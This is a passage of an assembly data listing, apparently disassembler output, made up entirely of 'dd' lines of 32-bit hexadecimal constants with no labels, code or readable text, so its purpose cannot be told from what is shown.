		dd 11444h, 914DD748h, 35C9BEA0h, 32E15100h, 0CA1FD9ADh
		dd 0D9F895FEh, 6D20EDE6h, 77C1E82Bh, 87D70084h,	0C844DB92h
		dd 6F142FA5h, 0F877CDAh, 60DF631Fh, 0A56DD7Dh, 0E05C00C5h
		dd 96054CBDh, 0A4D00C8Ch, 4B0B0197h, 334F6A5Eh,	5BEBAF50h
		dd 0EE6E01F7h, 9F1281DAh, 0A383CBD6h, 0DFD1D0C8h, 0B98AC00h
		dd 33323574h, 677300ECh, 11E74EA6h, 0D1029782h,	0E368E87Dh
		dd 3C4D644Fh, 0F214A5B5h, 200EF38Eh, 83FCBB30h,	0FAB8D628h
		dd 6EC0BAC4h, 18D2E6F3h, 0B2A5498Eh, 1A3F89C0h,	78246008h
		dd 0B77C596Dh, 0BAD831A4h, 2B00D28Ah, 0D492C287h, 15B86DC1h
		dd 791F9A80h, 0B92A6C00h, 0BA584E65h, 4540111h,	656EE42h
		dd 0F1BE3040h, 2DEA5F73h, 93E07F01h, 0CDC3605Ah, 64D5C730h
		dd 80258EE3h, 0D4470E85h, 9206AA00h, 0A435608h,	269F78A6h
		dd 83C11D3Dh, 87F0E46Fh, 26B9AD00h, 862BD8C4h, 5F6B00F1h
		dd 0DE4A49FBh, 0DD09C888h, 75800794h, 48D7F300h, 857C6B5Eh
		dd 1C279F09h, 12297D3Ch, 0BA30AC04h, 0C3D61A81h, 0B70FA42Eh
		dd 0E4E1B01h, 96AD0148h, 2F0C731h, 7E30CC57h, 9D32CC72h
		dd 609A1055h, 0F75E5B9h, 96213D41h, 53088301h, 9BA0E764h
		dd 9909AE30h, 75554029h, 0EC20910Eh, 0DA6EC28Bh, 93D67A18h
		dd 0A4907Eh, 0DF9686D8h, 1BEEB24Ch, 3B2E3A02h, 485F540Fh
		dd 2446353Ah, 0CB232BBh, 67FA77D3h, 0CB252E72h,	8384F479h
		dd 94073326h, 32F7A598h, 137274B0h, 7E7C526h, 4D46900h
		dd 26028B97h, 3CE030F7h, 0E2F192A8h, 0F104C662h, 93061F2Dh
		dd 3091586h, 0E877000Eh, 0D9A7C1Dh, 0F525E0A9h,	40F1DCC1h
		dd 8CC52926h, 0CF86561Eh, 7774E489h, 82D285A0h,	0E992A509h
		dd 5513BF00h, 0E538CA59h, 0A80A135Ch, 3A0658BDh, 0A7FA71E1h
		dd 5FF5D800h, 3378B5Ah,	5E221E45h, 0E0708004h, 0D282C76Bh
		dd 2E719B7Eh, 0B5922EDh, 93A7B3F5h, 8BBAA4A8h, 8951E0BDh
		dd 0C1811BE1h, 0E9B26304h, 0C870680h, 893A5C24h, 0A553A1Ch
		dd 10C581E5h, 0C6ED830Eh, 74272C87h, 66681B34h,	37141E42h
		dd 0F4BF57h, 0A0BE5AFBh, 645CDBh, 374EC681h, 0FE295188h
		dd 8A0EEF0h, 5C33685Fh,	89244539h, 91D30483h, 0F7E5575Bh
		dd 3F087BECh, 81943C8Bh, 0C37948C4h, 0E3895372h, 54AEC3E2h
		dd 0FF817FD0h, 3ADE5E03h, 0D0AAE90Fh, 6E6260FBh, 210B152h
		dd 0B83075A3h, 465DAD4Fh, 0EE8800CCh, 0DE0F1DBCh, 0A41F15EDh
		dd 0A8C13FA2h, 9914020Dh, 65D0E4D5h, 7F220001h,	3FB180C8h
		dd 9100ED7Ch, 0B2CFE219h, 70EF03h, 0AE081449h, 0EDBC40A9h
		dd 8A56D400h, 0D1102F67h, 529D0246h, 350C414Dh,	4E300CE0h
		dd 41CE48h, 6003E027h, 1EF3675h, 263D048Fh, 0DC5F5850h
		dd 650022D3h, 0BE6FF993h, 7D8AF6h, 78DF7FCCh, 7B26C4D9h
		dd 0CE6E4A00h, 0AB62B548h, 82BA0B24h, 6A513358h, 30AFF596h
		dd 0BFB665DFh, 14E8E7Ah, 0B0B425EFh, 864E0F00h,	6A4B2B8Ah
		dd 2FAF00DBh, 7BB15F29h, 3F032534h, 0BB06E1F9h,	13A2DB4Dh
		dd 0E961B069h, 3DDCBC91h, 97E41B2h, 0B5526A9Bh,	490B23FEh
		dd 49947E1Ah, 4FDCDD7Ch, 9671F822h, 0B403A9D1h,	4AE3AE4h
		dd 14CEB371h, 7A33FA21h, 0BB2AD860h, 278BF23Ch,	0AED46147h
		dd 0DDBE8D12h, 0A3FC2ECDh, 242AFA00h, 0D726056Ah, 329D9998h
		dd 0A2985FEFh, 5078BF78h, 97AB2D1Ch, 803E01FFh,	6A5B60D7h
		dd 0C038DB7Ah, 28F70DF0h, 34D428C0h, 919D2FCFh,	16F43154h
		dd 0A7254BCEh, 0EBDA5AA3h, 0F7D86081h, 0ABC7F40Dh, 0BD23A10Eh
		dd 0A3A776F5h, 8E811h, 2FB799EAh, 5EEDCF01h, 1297C002h
		dd 0FF275BFDh, 270CC1D1h, 27C28E3Ah, 0D8CC7B76h, 45003F31h
		dd 9BCB0501h, 4A6ADE8Bh, 93889B02h, 91B920FBh, 0FA498A50h
		dd 0FBE65ECEh, 0F43015B2h, 9D010C03h, 0E9461EB9h, 0ACA3BC4Eh
		dd 0EBB07385h, 32005C7Ah, 95894E0Fh, 1C126ABFh,	6EEA401Fh
		dd 0B2790480h, 0C54111E9h, 0D0085EE2h, 5200CBD6h, 0CA55E1ECh
		dd 2F97E517h, 2153EDB7h, 0DF181859h, 78487A02h,	0DF01B328h
		dd 12061884h, 0F40FE2B6h, 0C4AEE464h, 1BCDD220h, 0A000E7CFh
		dd 40C3C1E1h, 0A4830FD7h, 5584CABh, 2D088528h, 6751615Bh
		dd 8235FB2Dh, 3E32E781h, 18CCA4D4h, 985A27C7h, 0DEA7F453h
		dd 7103D484h, 9A84C5C6h, 1189853h, 0AE894F62h, 0AEF77953h
		dd 116B3A1h, 0BF112839h, 9D626ADFh, 29602342h, 0ECD0C9DAh
		dd 0A5A9D9FFh, 0BFD97EC0h, 2AE9B588h, 8770E609h, 0B859EFh
		dd 4ABB71E4h, 6AE79378h, 5B15A24Dh, 0A3EDF644h,	0C2A5C74Fh
		dd 0D77E298Dh, 5D307942h, 70A56371h, 0BCC14A58h, 62AEC043h
		dd 58B7FC2Ah, 910088B8h, 1678B684h, 527A40Ah, 1DCF52B0h
		dd 85BFE2F7h, 0A8332056h, 50B25E85h, 1D12F76h, 0C0E98C10h
		dd 0BB12EBA4h, 3BA80339h, 0C9308B80h, 2D1E774Fh, 851494F0h
		dd 0EF800B0Eh, 8191508Ah, 0C7B5559Eh, 3C14E112h, 21C9C4AAh
		dd 527EE2BAh, 0C3A85A02h, 262F4118h, 618024D5h,	25755BE9h
		dd 9D48E829h, 0CF972596h, 8603FFB6h, 6CDC0094h,	0DA817EF9h
		dd 0B00D605h, 0C74B524h, 3FC6F35Ah, 0EB0461E7h,	0BA01487Ch
		dd 0F44B1D87h, 1D9DC3ABh
		dd 14BD654Dh, 35A583h, 7EDF81FEh, 950B9542h, 0E680FBF9h
		dd 0CE30FADEh, 4CF6021Bh, 692EC3C7h, 0B228C45Eh, 0BAC9553h
		dd 5114B59Dh, 1F3741CCh, 8C9B3F61h, 0E91BF7C0h,	0E71EBF25h
		dd 0BB010890h, 486CB644h, 8B605289h, 623A8871h,	750C1588h
		dd 0BD33FB38h, 0B919E961h, 0A62B10F5h, 372100C9h, 7CC040F6h
		dd 2970003Ah, 1B891C8Ah, 54AAB0Bh, 1DF261AAh, 0C4FF051Ah
		dd 0B122BE77h, 7ED97F11h, 7EF73307h, 0AC30FC25h, 123A36h
		dd 0D770E89Dh, 0AAEDA701h, 0B0122C5Fh, 5FA67ABBh, 40B7CDE8h
		dd 26D19D31h, 0D22BAFC4h, 0E7B8B8F9h, 8030CC12h, 9B1DAA04h
		dd 79256DEBh, 0B62BA9BBh, 0E75C148Ch, 38912B3h,	0C1CE9BFFh
		dd 0CBECDC4Dh, 90F527C0h, 99529F57h, 0CC94D1A0h, 0F9D411B5h
		dd 4A770B8h, 165C0F59h,	0A3FC7408h, 13314DB2h, 0FBA80220h
		dd 58DA2EBDh, 0E1548889h, 0C6CE27DCh, 7EB0125Fh, 2B655190h
		dd 0B0B736B7h, 58EBA920h, 31D4E902h, 901F8D95h,	9DF787C5h
		dd 18441C6Dh, 0C4A2A060h, 8997E4E6h, 81B3F92Ah,	0FFBAD380h
		dd 13C934E1h, 0ED9479Dh, 0E61604CCh, 406BF2F6h,	951D7521h
		dd 0B8599254h, 0C1518114h, 0B08E3A19h, 13F6F22h, 4132195h
		dd 0FF2F7D9Dh, 14F399F3h, 754B0887h, 30516E02h,	0C0EDC92Eh
		dd 0B5E18064h, 0DDE12FCDh, 21604880h, 664C0A67h, 8B5A7D7h
		dd 0F8162C05h, 86A385A4h, 0D47C96h, 93077956h, 80B51898h
		dd 99C4304Fh, 80132ABEh, 7C757787h, 0B7C11699h,	5F6BAA58h
		dd 0C152984Eh, 6DCDE401h, 90D3C657h, 0CCC36F28h, 0CDB80717h
		dd 4F009AD8h, 0B893273Eh, 0F0C024h, 9EBA08A1h, 5F40B6BEh
		dd 0EF49169Dh, 5FA8E5EFh, 31905BC1h, 0B0F56F85h, 0DEB9B6A6h
		dd 0BA69B800h, 0C0335989h, 968EC29h, 0D3931F24h, 7500DAF1h
		dd 54F2C95Dh, 3FD1006Ch, 10A967A5h, 5904774Bh, 0B9CDF8E1h
		dd 0DBC201EAh, 7E2C8BE4h, 4F8F139Bh, 0BBBF4EE7h, 0EE27B954h
		dd 58779390h, 7E90A831h, 0E211E520h, 0F4254A95h, 0CF9585B3h
		dd 0F9B2C0D9h, 0CA480A14h, 0A5FF394Fh, 6012DE89h, 1D2E9FBh
		dd 2E33D97h, 0E96427F9h, 52845355h, 0E21819CEh,	81C2F53Ch
		dd 48FF2ACh, 21B589CAh,	339CBA1Bh, 96CF0581h, 0A815A8C9h
		dd 4B99D0D7h, 818153D4h, 9D7A2901h, 0B6E72A7Ah,	3D209D10h
		dd 98DFC989h, 89243D1Ch, 0A50B6E46h, 938977FBh,	84CF6FF4h
		dd 8B848CDCh, 688063FCh, 58CD9165h, 0A6BDEB5Bh,	0A086B696h
		dd 1D9BA99h, 81E215F8h,	0E1A343D3h, 68366A40h, 25F52DB0h
		dd 0C072065Ch, 9E5B8995h, 678B1A34h, 0D3F3276h,	0C06819B8h
		dd 34B241DAh, 8B1DB2B1h, 0B31A89F7h, 3CF82FCCh,	8F92601Eh
		dd 4BD7DCEEh, 46D1B500h, 31773376h, 0D9D800D2h,	366322CEh
		dd 0B81C924Eh, 5F44530Dh, 5DC96159h, 0CBB6A84h,	0CCF6BA06h
		dd 399209F0h, 0C80AE204h, 0FCC0F53Bh, 0B581E780h, 2479C51Ah
		dd 7D892E09h, 8B51AE19h, 57116584h, 0F2BF9700h,	4D4E836Ah
		dd 6EEAE112h, 92EC5E34h, 15530EA5h, 95572610h, 330C908h
		dd 8D9D035Bh, 0EF75EEBCh, 0ADD0D5AFh, 8C3EB9C3h, 0A12BFB1h
		dd 0B7A92C26h, 0EA166D12h, 53C79CEh, 1661CE43h,	6A169F7Bh
		dd 40531F3Fh, 5CB8DB5Ah, 3D35B509h, 25EFED2Fh, 99D72832h
		dd 4BE92A40h, 0EC8DA93Bh, 1EF6A06Ah, 0D81DB5FEh, 50D273D2h
		dd 0EFB660E8h, 5B9271DCh, 61C0B1D4h, 0D4283FA3h, 3E044132h
		dd 4A3C2020h, 643E003Ah, 2482AC96h, 0FF048542h,	8B60033Fh
		dd 0B995E4ABh, 43E5101Dh, 0D5B261D6h, 0E73304CEh, 1E80A1EFh
		dd 10C21C21h, 44F059Dh,	0F63F2A9Dh, 901BB229h, 17835h
		dd 0A995CEC2h, 0BD894436h, 0A2279125h, 0D49E7627h, 0DD6E693Dh
		dd 0F99FB0B0h, 0E4DE6938h, 29C09FD4h, 58C4076Dh, 960C282Dh
		dd 523BB486h, 0FF1A6950h, 0CF5F8A29h, 0A75E24Dh, 0DF69D3D4h
		dd 6048B864h, 0E91279AFh, 98AA61F5h, 1AB5FBFFh,	299669Fh
		dd 5AFE47Bh, 8BD446A9h,	85377D49h, 2B1A5FA7h, 914E1057h
		dd 0B8844B04h, 95FE0111h, 2DEC9E19h, 7CCB9FDFh,	0B84F4014h
		dd 3E038620h, 455FDD98h, 0C2AE9CFCh, 0CB71FA53h, 0F250BB83h
		dd 0A9A8C503h, 808B9B5Fh, 7804201h, 3A3F2820h, 0D08B28A1h
		dd 2A312095h, 0BC87615Ah, 89DAABEFh, 0FB0989E0h, 0D60FA6BDh
		dd 1570760Fh, 0D0EAABAAh, 0B8862FB7h, 0FCD6521Ah, 78165B27h
		dd 0F8733DB9h, 2DBF5902h, 0DC66CDE7h, 0F6F9E5BDh, 3019B27Bh
		dd 0E53EFA75h, 506101DCh, 297C9BBh, 73BDEAC6h, 0F5A7063h
		dd 8BFB8A48h, 4A866460h, 0B0D4FD59h, 2DD59418h,	0E8FB6160h
		dd 0A0181871h, 0D4294200h, 218D316Fh, 0AC519416h, 0DBFAC916h
		dd 16FBD8B5h, 0A25F2C6Ch, 852188DBh, 5FD98B50h,	0E985848Eh
		dd 0E7A6FE02h, 47A8F200h, 0A0C26B21h, 0A1DDB218h, 5E5AEC5Ch
		dd 0B27EF661h, 4B7E3019h, 18E8750Bh, 640CF625h,	1607F233h
		dd 0C4AA9589h, 7FCAAFC9h, 0E65CB1A0h, 0F8C01517h, 852642E1h
		dd 0DA301BE2h, 9F37EEBh, 7A3BB7F5h, 91543575h, 65F9801Dh
		dd 4EB1968h, 5C0A3EE8h,	0D809D291h, 0AC402CD6h,	37AAC6h
		dd 0B4655D39h, 22040714h, 0C7C0B101h, 49953161h, 8D1CF5E2h
		dd 74A8424Bh, 0B865B9A5h, 0BF6750B6h, 25851389h, 0C5E8D123h
		dd 48C60206h, 0F4D78138h, 6CBD2DC7h, 2EFFEAD0h,	318F79A6h
		dd 5D205549h, 0FFF2A8E9h, 785BF39Dh, 0CD259657h, 316497h
		dd 0A9189CEAh, 0E79B5FF3h, 0C7FBBC00h, 2209D788h, 8B2012C4h
		dd 8F44DBC1h, 118FA052h, 12EC5B05h, 0F312E538h,	0BD2306D4h
		dd 4B0C07A5h, 0D0C5F190h, 15698D29h, 1964F717h,	1ABB85ECh
		dd 0E857D25h, 6C6FAF6Ah, 1474E16h, 0AB960C3h, 8156D049h
		dd 0FA1ED80Fh, 6A6105FCh, 0F0BDADEDh, 730CF2EEh, 0F6DABF0Fh
		dd 61C12E2Ah, 379F8988h, 0C91E802h, 8040DD5Eh, 3A50DBE7h
		dd 521287BFh, 5179AD71h, 0B1912E4Eh, 9BA7DFB4h,	788310FDh
		dd 0C990002Eh, 7FB769EFh, 0E0149A0h, 0B6713B04h, 9A43CD23h
		dd 5F7134F1h, 0D4A2BF40h, 81952904h, 975EB05h, 18B71530h
		dd 0F3AA00FAh, 1E8A6316h, 0DD02C589h, 6728C46Ah, 69535E72h
		dd 69F26C55h, 61F65D79h, 0D12E2E11h, 5505DEF3h,	1915695Dh
		dd 77D9A71Dh, 811504CCh, 2F8997BAh, 84E37A29h, 80579EBFh
		dd 0B58F680Bh, 0B30F096Dh, 5A0B158Ch, 219D66B0h, 3EAA1F4Ah
		dd 80A75DCBh, 0B87B8586h, 6FBD01FCh, 71B589ACh,	0C1900210h
		dd 54D2DA58h, 5897DC19h, 62509DFAh, 74080922h, 0E82A4B85h
		dd 0DA9AB4B5h, 0F80788C0h, 0C5001083h, 0D91AF36Eh, 9E2D8BFh
		dd 0A6E9143Bh, 34715CD6h, 8B149022h, 2B17ECFEh,	8A43AD47h
		dd 90121A86h, 0D700DEA2h, 936610CEh, 7E0298C9h,	2F0F9912h
		dd 914650h, 450C55DBh, 0DCB5FCF0h, 0D6E4F400h, 54A4914h
		dd 7E1105C6h, 0AE5BF98Bh, 0B0E14FA6h, 406266Fh,	2AB59D31h
		dd 58F85BF4h, 0C4DE789h, 0E781854Bh, 80B0E0B0h,	238232A5h
		dd 9F5EFB60h, 0A261DB51h, 0BA9F342Eh, 0C4FCB20h, 0A1810027h
		dd 839791EFh, 0CF243061h, 0D0908A2h, 0FF159110h, 26B88A6Dh
		dd 8F1F6F0Bh, 9DE8D057h, 8539EDE1h, 55BD335Bh, 68BF8752h
		dd 240B5B8h, 0ECFB9AB0h, 8F90971Fh, 7107E4DAh, 342FDF81h
		dd 8CBD3D04h, 0EF8BF134h, 791A1D09h, 58C208Ch, 0BA13CECBh
		dd 0EF963006h, 77B055E3h, 0F6D68C4h, 0BB77E412h, 5A07792Fh
		dd 0DFBF0945h, 5BFEC82Bh, 3F01FF40h, 1F7215h, 80CF7E7Fh
		dd 6FBB064Ah, 41BFB8F8h
		dd 0CC2BD1ABh, 0E83F1C8Fh, 0AF9A0039h, 0F92AE11Bh, 33D806DCh
		dd 96629391h, 6176D8EFh, 8BD0E94Ah, 6D9AE380h, 3E13D88Bh
		dd 5F02B482h, 78755F32h, 0BEA72D6Eh, 0E300715Ch, 0E1862D45h
		dd 0A9780BAFh, 62D6FA93h, 0C456DA44h, 7F13E136h, 0CB50A4F6h
		dd 0E9DD1AF7h, 99601341h, 880930CFh, 795F6783h,	0F956B298h
		dd 985494F5h, 33D92008h, 737B3297h, 75BD0457h, 0C321A07h
		dd 97DE5677h, 302C68B0h, 58599384h, 2A038D0Ah, 4B8516FDh
		dd 576ABACAh, 0BD9D66B0h, 75EE2B9Fh, 4A8B4337h,	40F876C5h
		dd 7E7AED37h, 0B96C9C00h, 2F11D9E5h, 0A832013Bh, 91FB8687h
		dd 9EB8400Bh, 0E7925F3Ah, 6DBDF871h, 601C649Ch,	95CA6649h
		dd 0F248CC54h, 85B00315h, 0FB493CB9h, 1DA077FCh, 0F2E4EBBh
		dd 0E0617E25h, 0E99D01B1h, 9D77C32Ch, 19C11E6Dh, 0EC6B4E5Ch
		dd 39ED8058h, 754B1FCBh, 0C61C0944h, 0F7FBC02Bh, 5C61F70h
		dd 8257496Bh, 2097A8EDh, 0DB801315h, 5B53AD3Eh,	0FDBC47B9h
		dd 5D714A2Dh, 9F40C712h, 0C7932FA1h, 9F761A83h,	158C09Dh
		dd 0EA1B00A2h, 0B531B021h, 0CF12EFFFh, 0E0F3C06Bh, 70BB60C3h
		dd 804106C8h, 611DEF12h, 0BAB87EADh, 2C8E3A24h,	7ABCF209h
		dd 0DEB79EB6h, 7EE66704h, 0ED169150h, 9AA265C7h, 0D246DAEAh
		dd 4D928D8h, 3E9B78E1h,	0C196C4DBh, 3A100908h, 7C8995DDh
		dd 0E7D50AE5h, 0ABCD492Ch, 0FA2F2A40h, 0BFBF7CF7h, 0BD10EBFBh
		dd 0A0E2C893h, 56D3B04h, 0A3FFF5EFh, 0CABB0997h, 45E77980h
		dd 1A11425Ch, 3F55B894h, 0C1C0004Dh, 8F3497ACh,	462EADB8h
		dd 53AF4406h, 0D666A4E1h, 0FFD9770Ah, 0A509BDE1h, 0C6DE7928h
		dd 0F3BFF663h, 7A3178CEh, 0C073AA0Bh, 0C9CF0069h, 97562AF1h
		dd 4A69E394h, 0DE5D5668h, 0EC4E8800h, 0BC0D1FBDh, 0F89A27D9h
		dd 0E21D0245h, 129B5B38h, 0D8D54CC2h, 0BF00F47Ch, 1D30CAD4h
		dd 0ECE49D60h, 0A10358h, 0C74355E0h, 9FFB1280h,	0FD5218FCh
		dd 3F516411h, 0FFA42DB8h, 0F1FEA6C4h, 34D007DCh, 8427E831h
		dd 0FCA9890Fh, 0B5015705h, 34D4E171h, 1D27E332h, 0DC0E4B8Ah
		dd 0AD9C0452h, 0A06FBF24h, 1D001B23h, 27742650h, 0FCED2539h
		dd 9282EDE6h, 3FCE257h,	901B3453h, 4E75E063h, 8900EEFFh
		dd 4E84C381h, 0A9695A99h, 0DC8E8E5h, 870FD4DFh,	507730E9h
		dd 48D38000h, 2853685Fh, 60360BDEh, 4D795E56h, 49E52900h
		dd 9271A19h, 0B442ED0Fh, 2FE504D0h, 2BAC8AC0h, 0BB3602C1h
		dd 3BB6737Dh, 9191B5DFh, 0C4ED8B14h, 62D900CBh,	0E5CA335Bh
		dd 819522ECh, 65EFCF63h, 4BB7A23Eh, 3E96FBEh, 0DD32CEE9h
		dd 0A1CFAA21h, 41B5098Fh, 6235CA3Ah, 7D11DD6Eh,	19E4824Dh
		dd 4CA0E167h, 89CD21C9h, 0F520F95Ah, 7E5B813Ah,	9406C70h
		dd 880FE426h, 0C4B0CCBh, 89A0E4ACh, 9C099471h, 791BB482h
		dd 9D0B829Bh, 955E1AA9h, 0BD9509B9h, 0A68D1404h, 113AED4h
		dd 82379D5Bh, 2F3D010Dh, 3352A807h, 51C177B9h, 0D11E505Bh
		dd 0BA009782h, 0F5BB4937h, 9C7D6A9h, 96CD1F7Dh,	0FE6B76F6h
		dd 72E96B60h, 0FC9D5275h, 3167905Eh, 1E2A91D2h,	50DE8A12h
		dd 2E2489ABh, 0BF519247h, 752CBED0h, 0FDC2F75Bh, 0FB5D5192h
		dd 0A810016Bh, 3EEA3775h, 0FB224EE3h, 7B58389Bh, 0BC895EE2h
		dd 88BA92D0h, 0DC4B8A54h, 0D4CA6CCDh, 0DBA840FCh, 0CF004256h
		dd 8A3E68A4h, 2450FD6Bh, 9676158h, 0ABEB14ADh, 5B98B7D8h
		dd 0B76E2BEDh, 31822202h, 154A1D95h, 911A3577h,	50E18415h
		dd 680117E3h, 0DFB1FB66h, 0A57A3C87h, 0E1C009DBh, 5DBBD739h
		dd 1C498712h, 260F3DEBh, 6E6BB1F4h, 3A948D3Fh, 0E9F418ACh
		dd 1265B895h, 1BAE986h,	0BE6F1F08h, 6F28E196h, 14F82DCh
		dd 1C7B9926h, 2F5F9288h, 0BBE5753Ah, 0C0C18934h, 2303210Dh
		dd 0ECE5B3h, 0C68160F5h, 0D029392Ah, 6AC01748h,	8FAF0E62h
		dd 1EC01200h, 86EC89E7h, 0B81F0942h, 65796110h,	0C043C445h
		dd 0F2EA8A60h, 20D99661h, 7ABE03B2h, 1A46D6h, 0E4B3E738h
		dd 98088E67h, 11D52758h, 89F1B055h, 26C9278Dh, 5EA5185Bh
		dd 0F3C612F1h, 0D88B1319h, 468C5E09h, 0E39F25B7h, 66D9EF42h
		dd 0FB007F2Dh, 36856307h, 2097C807h, 9FC1A6EFh,	9A2FC6DCh
		dd 0C01DC882h, 0DEC54061h, 0FDB59F01h, 50C66AC7h, 2473083Bh
		dd 0EFA95F13h, 1F8C1DACh, 728E31h, 2ABD19B2h, 0BF05324Dh
		dd 17862393h, 9FC1AB0Ah, 8C7E5359h, 4E9D5B1Fh, 58AE9BE3h
		dd 19276CFCh, 0BE353E7h, 0DC73FBB7h, 82181A59h,	5D1B562Dh
		dd 0C9BB9F00h, 305ECE11h, 0C1C29C92h, 2BF5BF30h, 0BDC9903Ah
		dd 25852645h, 2DA8C2D9h, 53297127h, 0FC8A8BA5h,	0E04ACD75h
		dd 0BF76FA4Ch, 4F794E04h, 35EA60A7h, 2B84A1B0h,	1CE81964h
		dd 738D9D80h, 0C37ED42Dh, 1046371h, 85200DBBh, 0A6386581h
		dd 3FA8897Ah, 0AE96299Eh, 2778C489h, 0DB7A9055h, 0C62C8B3Dh
		dd 0AFEDB7CCh, 35604F68h, 28023BDFh, 4BF10A1Bh,	7B9320D8h
		dd 2800DB2Ah, 4E1176C4h, 1CD433Bh, 640AD6E2h, 0CDFAE0A2h
		dd 7AD371A6h, 64BF3494h, 0E2C012E5h, 0AB5F8806h, 0A4B59210h
		dd 664D9655h, 0C02B4C2Fh, 1BCF9F18h, 267529C1h,	810280E3h
		dd 897B9476h, 55183800h, 5BE0C92Bh, 1DBB7739h, 0C9544E2Fh
		dd 0B755965Fh, 9B8C0044h, 0B8F37412h, 6124EB6h,	0F3192CEBh
		dd 54B2102Fh, 200552Dh,	55478CA5h, 2FAE1250h, 0D64706F5h
		dd 0D397721Eh, 778EF088h, 29322213h, 0BB8200ADh, 0E440113Bh
		dd 1C971415h, 0B75E4ADDh, 1F5CB061h, 0E0C612D2h, 1C04AEBEh
		dd 75EB2395h, 41030929h, 9C61E27h, 6978FED3h, 0FD314F4h
		dd 925AD939h, 0F95CF8C8h, 19FE045Bh, 0EB3EE98Fh, 352F1E29h
		dd 0DE57E004h, 0B4E94EBDh, 9900D464h, 322EAA17h, 6772AEFDh
		dd 48B9A804h, 3E4E5927h, 0DA8A2405h, 126FAE6Ah,	6DC96E06h
		dd 652060DBh, 64B7B62Fh, 0F188AF33h, 0D6B7956Ah, 0DE83082h
		dd 0C1ACE2DFh, 206B429Eh, 77EB7E78h, 0BAE7F902h, 60FC7467h
		dd 97918DEBh, 1F85BA54h, 0DBFB61D1h, 0DCB8D3A3h, 13FF5726h
		dd 616FF4B5h, 0C2F55F25h, 700953F6h, 0C1B54373h, 13219064h
		dd 856E5DEDh, 3FDFB37Ah, 62DFF2F9h, 0BE028848h,	3755DF25h
		dd 885680ACh, 0AEDC071Ch, 4C41D5BCh, 46E0DA5Dh,	4B2CE8DEh
		dd 0AF31AAF7h, 7DF20ABBh, 0B852D473h, 0B58DAD4Fh, 2967717Ch
		dd 0E2FD6194h, 25E0D128h, 0D9F41021h, 3A5081C0h, 1279F4ECh
		dd 0F274D480h, 16A88E0Ah, 7AE979BDh, 0C82BDBE5h, 4D07FE75h
		dd 5E1664BEh, 473971A0h, 0F26800B8h, 0FFD0A33Dh, 0B513A850h
		dd 0CEDB026Ah, 0A8DBAA80h, 3BB1BA16h, 80222D80h, 4CAC7527h
		dd 0B71D26Bh, 0F04414C3h, 121975A4h, 0BD2B30FFh, 0D39F063Dh
		dd 387D7AB0h, 1F7000h, 18AE4386h, 0CEE973FBh, 49F51C97h
		dd 7F4DAE29h, 0DFB86EBDh, 6007AE03h, 39C0CB81h,	49D6B9Bh
		dd 61092A93h, 0FBEB8D5Eh, 0FD7F5080h, 3079D903h, 920B3F37h
		dd 0F207FF90h, 774631BBh, 0E9F6E666h, 9F609FDCh, 0FF029689h
		dd 0B7E2CBC6h, 0C00B5EB8h, 96C7B9BBh, 30B7245Eh, 0F17F0E22h
		dd 20BF739h, 3A598EE6h,	0B42C40ABh, 16BF909Bh, 0EB5F7EE0h
		dd 0C1B57F60h, 0BB078411h, 798D8E66h, 20CDA56Fh, 0A2ABE7ABh
		dd 0DD4FC0B3h, 0EB149732h, 54684C45h, 0B0533009h, 1F0CC4F7h
		dd 5B692Bh, 5F254979h, 6609539Dh, 70B026BFh, 0B1BD2DF7h
		dd 0E4F83FA0h, 20A85371h, 0CD00C5F9h, 0E2EB4B44h, 4BB42ED4h
		dd 0D08D35Bh, 89537F05h
		dd 0C8FFA59Dh, 0C84BB650h, 1301DCCCh, 0EB04F59Dh, 8D3F998h
		dd 789B508Bh, 7829B709h, 0F99ABD0Eh, 8007105Ch,	0C73005CFh
		dd 0A6C82BF3h, 8C8A03D8h, 68BEE922h, 67EA69E0h,	55512403h
		dd 0D2DB803Ah, 8061DD5Bh, 1330ED85h, 1F3F7DAFh,	895FBBDAh
		dd 935E5E82h, 41D9D46Ch, 0E90F2B03h, 24A52431h,	0DE7B7AA2h
		dd 571C942h, 5391EE71h,	0A28F204Bh, 35008FE8h, 9F02D71Bh
		dd 2FD5349h, 8962C745h,	6C567F11h, 3E119647h, 0D7F15128h
		dd 0E166E83Ah, 31AE4DE9h, 272040E6h, 6F00C1D5h,	78F1C340h
		dd 6360Bh, 0EE4E1AB6h, 7224AD4h, 0F5BD8908h, 0F35B1208h
		dd 4B495830h, 891C2F88h, 2A602FF8h, 959CD780h, 29088CE6h
		dd 58337985h, 5824168h,	24FAD594h, 0F109FE9Dh, 0E0615E02h
		dd 0EF8456BBh, 2AB9760Bh, 40964F10h, 9ECFDC36h,	6C264A60h
		dd 5BBD0353h, 5F200BEDh, 72993018h, 0C36ED500h,	0C11ED247h
		dd 0B1C200E2h, 0A7E4F3E0h, 0B3251D96h, 8ED1C21Ah, 0CBB601Ah
		dd 0B72A7432h, 0FC9782E6h, 628FA01Fh, 0D22B6DB1h, 25DC63D6h
		dd 9750DA0h, 0F63F0205h, 7A695CB4h, 0A9BCA850h,	0B0FBB741h
		dd 43C43FE9h, 0CFA64931h, 23058318h, 341276BFh,	5BE22652h
		dd 7C550A49h, 0B5D6F66Bh, 0A18095B9h, 1CD9E698h, 7B676625h
		dd 72E78514h, 149B4998h, 80783671h, 282BFDEFh, 78D2A9F7h
		dd 80C29BFFh, 8FB6F5A6h, 233E2D33h, 49096F5Eh, 0F7377503h
		dd 0D1851411h, 0D5188409h, 94DAFF05h, 2F8CB693h, 94F5C3B3h
		dd 818AD7B8h, 9BFEAFA1h, 9B77CDEh, 70B0AADFh, 25097B76h
		dd 0C3447121h, 0EE84041Ah, 17E0D7F6h, 1506614Eh, 76EDBBA1h
		dd 0CC525CCh, 0FFC22979h, 0ECFD0903h, 32AD252Fh, 0B0C62F79h
		dd 80560233h, 605B41DFh, 4DC8FDEh, 3DB8A28Ch, 46FFACA1h
		dd 0FF29F1D8h, 2B078D2Eh, 0DC6E1C17h, 64004358h, 6CC4EE3Eh
		dd 5626A221h, 5AC96C8Bh, 14F2D35h, 9A40CD4Fh, 1635D57h
		dd 6D5F351Bh, 2D890FE1h, 0A6B31E7Dh, 69A28D12h,	0FCD4225Fh
		dd 0DB2CBA57h, 5F575065h, 1525DF05h, 2AC4A0Dh, 904A0C20h
		dd 12B62DB0h, 0BC310FABh, 0CECF8538h, 150081E6h, 0A6B020B2h
		dd 2F099E1Ah, 71585A5Eh, 40933B84h, 0DBD0AEC4h,	9F565061h
		dd 0BEEFE890h, 0B8001670h, 43FCF60Bh, 0E3EE39Ch, 5FDF8B53h
		dd 759C902Ch, 0CF462F4Bh, 0B0F41432h, 5A0601B4h, 19A6C568h
